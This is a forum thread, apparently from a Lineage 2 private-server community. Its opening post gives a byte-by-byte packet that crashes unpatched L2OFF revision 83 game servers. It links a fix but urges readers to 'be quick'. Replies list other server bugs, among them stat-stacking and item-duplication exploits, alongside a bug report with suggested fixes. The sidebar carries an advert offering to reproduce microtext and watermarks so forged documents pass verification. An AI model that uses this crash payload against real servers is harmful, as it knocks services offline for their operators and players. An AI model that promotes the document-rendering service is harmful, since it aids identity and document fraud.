Jump to content

Recommended Posts

Posted (edited)

Hi,

 

not tested on AdvExt64/Vanganth but crashes unpatched l2off revision 83 (doesn't work with protocol version 148 or higher). It's very simple, you go to NPC where you enchant skills, open skill enchanting and then just send RequestExEnchantSkillInfo packet with invalid enchantType (valid values are 0-3):

 

D0 0E 00 04 00 00 00 01 00 00 00 65 00 00 00

 

D0 : (uint8) ex packet

0E 00 : (uint16) RequestExEnchantSkillInfo

04 00 00 00 : (uint32) enchantType (4)

01 00 00 00 : (uint32) skillId (1)

65 00 00 00 : (uint32) skillLevel (101)

 

If the server is vulnerable, it will crash immediatelly.

 

Fix here: http://www.maxcheaters.com/topic/203385-fix-for-gf83-crash-with-requestexenchantskillinfo/ so be quick :)

Edited by eressea
Posted (edited)

Hi,

 

not tested on AdvExt64/Vanganth but crashes unpatched l2off revision 83 (doesn't work with protocol version 148 or higher). It's very simple, you go to NPC where you enchant skills, open skill enchanting and then just send RequestExEnchantSkillInfo packet with invalid enchantType (valid values are 0-3):

 

D0 0E 00 04 00 00 00 01 00 00 00 65 00 00 00

 

D0 : (uint8) ex packet

0E 00 : (uint16) RequestExEnchantSkillInfo

04 00 00 00 : (uint32) enchantType (4)

01 00 00 00 : (uint32) skillId (1)

65 00 00 00 : (uint32) skillLevel (101)

 

If the server is vulnerable, it will crash immediatelly.

 

Fix here: http://www.maxcheaters.com/topic/203385-fix-for-gf83-crash-with-requestexenchantskillinfo/ so be quick :)

need to test on vang and advext64 :P

 

Edited by Rollo
Posted

Nah it won't work on either, was on a list of bugs they had fixed back even before the gf server leaked public

 

Does anyone have such list? I desperately need it :))

Posted (edited)

Does anyone have such list? I desperately need it :))

Couldn't find the little private list, was on one of my svn's which is loooooong since deactivated, but I did find a bug report doc from my original GF work so maybe you'll find that useful.

Gracia Final Bugs:
 
 
The Instance Bug:
 
This bug is fairly simple.
Several parties may enter an instance and fight to the end, to reach the boss.
The problem is that if a party logs out, and the rest finish the boss.
The instance penalty is NOT applied to the party who left/logged out.
 
Solution:
When entering instance, create vector with user DB ID's of all members, if instance is succesfull apply penalty to all users.
Maybe after the original function that applies penalty has run it's course.
Instance penalties are character based - see user_inzone for data.
 
 
 
Olympiad Bug:
 
Either 
 
A: Single 1v1 matches (class and classless) are treated as 3v3 matches and points are calced this way.
or
B: Single 1v1 matches (class and classless) are calculated the following way: 1/5 or 1/3 of points trade hands when a looser/winner is found.
 
 
 
 
Augmentation Bug:
 
Any Stat (str/int/men/con/dex/wit) - can be stacked constantly by equip/reequip and then logging out.
Process can be repeated for unlimited up to 99 in stat points.
 
Seems to work only with 1 stat point, if augment item has 2 stat incrementers, latter is chosen to stack.
If item is moved by database or server restarted - the stat stacking goes away.
Must be a bad map/vector stackign on somewhere.
 
 
 
Hide Bug:
 
Supposedly some bug wherein if you in prematch time @ olympiad use the skill "hide".
Your still attackable (maybe with /attackforce) - gonna be a shitter to test.
But yea.

Hide bug is a bit more broad than described though, pets can also continue auto attacking after hide skills are used and a few other things like that.

Another bug I remember off the top of my head also is the last second of cooldown on skills is ignored by the server.

 

have fun :p

Edited by Anarchy
Posted

few i remember from playing - 1hp bug after rez, safe skill enchant with dropping book on the ground, pet inventory dupe, forever open SOD, there was also some shit item dupe with fishing but dont remember exactly, 3vs3 oly points calculation was bugged, opening any multisell from any npc.

Posted

few i remember from playing - 1hp bug after rez, safe skill enchant with dropping book on the ground, pet inventory dupe, forever open SOD, there was also some shit item dupe with fishing but dont remember exactly, 3vs3 oly points calculation was bugged, opening any multisell from any npc.

 

Thanks a lot!

 

1hp bug - is it this one http://boards.lineage2.com/archive/index.php/t-201517.html ?

forever open SOD - can you please remember more details?

Posted

1hp bug - is it this one http://boards.lineage2.com/archive/index.php/t-201517.html ?

forever open SOD - can you please remember more details?

1hp - yes exactly,

it was not closing itself after X time, so ppl were farming ECS's for days (sometimes weeks) until GM made restart (dont remember if he was able to close it while running),

problem was blocking Tiat instance.

 

Also funny one - pets were following owner on hide :D

Posted

a few years ago, but now, this packet do not work, i remember do with "INVISIBLE" server crash's all of time. ;p

 

Fortunatelly these crashes are not invisible, they're clearly visible in LinError.txt

It would be worse if you manage to somehow corrupt stack or heap or something...

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now


  • Posts

    • try this one instead. The one he shared affects every single NPC/player character in the game, the one I posted only affects player characters  https://drive.google.com/file/d/1UtccbD9e50x3WEnQBab2PTZnBHwpcGYM/view?usp=sharing or perhaps i misunderstood; if you could please post a full explanation of the problem you're having with the files, unfortunately i think whatever you're using to translate to english is a bit bad
    • <dailyReward days="28" autoOpen="true" minimumOnlineTimeSeconds="30" oneRewardPerIP="true" resetIfMissDay="true">   For now, I have these settings in the XML—this is the V1 version I created, though I plan to make further improvements over time. Of course, I’ll also add more protections—MAC, HWID, and perhaps others like account-based restrictions—to make it more secure. We can also implement non-tradable items to further enhance the system's security. I’ll keep posting updates and refining both the system and the interface. I might make a video tomorrow; if you look at the top, you'll see the "auto-open" feature can be toggled on or off, allowing users to rely solely on the `.daily` command. Cheers! Note: If I sell it in this state, I’ll provide support and roll out updates to users. I’m not forcing anyone to buy anything; I’d even provide the patch files so that anyone with the necessary skills can add features, modify it, or improve it further.
    • If the problem is that the target is lost, the action of aiming at another character, upon losing collision, does not allow aiming.   This one works as it should, allowing you to target characters
    • MICROTEXT AND WATERMARKS BREAK MOST RENDERINGS Microtext and watermarks aren’t just small decorative details. They are one of the most common reasons a document fails verification, even when it looks decent at first glance. The issue is that these elements are almost impossible to reproduce “by eye.” Microtext requires precise geometry and legibility at a very small size, while a watermark needs the correct density, transparency, and accurate placement relative to other security features. Any deviation becomes obvious during detailed inspection. ▪ What’s most often done wrong: - microtext is drawn too thick or blurry - the watermark is made either too visible or almost invisible - the positioning between microtext and watermark is ignored - the original printing technology isn’t taken into account when choosing density and shape - The stronger the document’s security features, the less room there is for approximation. What matters here isn’t visual similarity, but accurate reproduction of the original technical characteristics. If your document contains microtext and watermarks, this is always an area that requires extra attention. Write to us in DMs. We’ll review your case and point out exactly which details need the highest precision during rendering. › TG: @mustang_service_ms ( https:// t.me/ mustang_service_ms ) › Channel: Mustang Service ( https:// t.me/ +JPpJCETg-xM1NjNl ) #drawing #microtext #photoshop #editing #watermarks
  • Topics

×
×
  • Create New...

Important Information

This community uses essential cookies to function properly. Non-essential cookies and third-party services are used only with your consent. Read our Privacy Policy and We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue..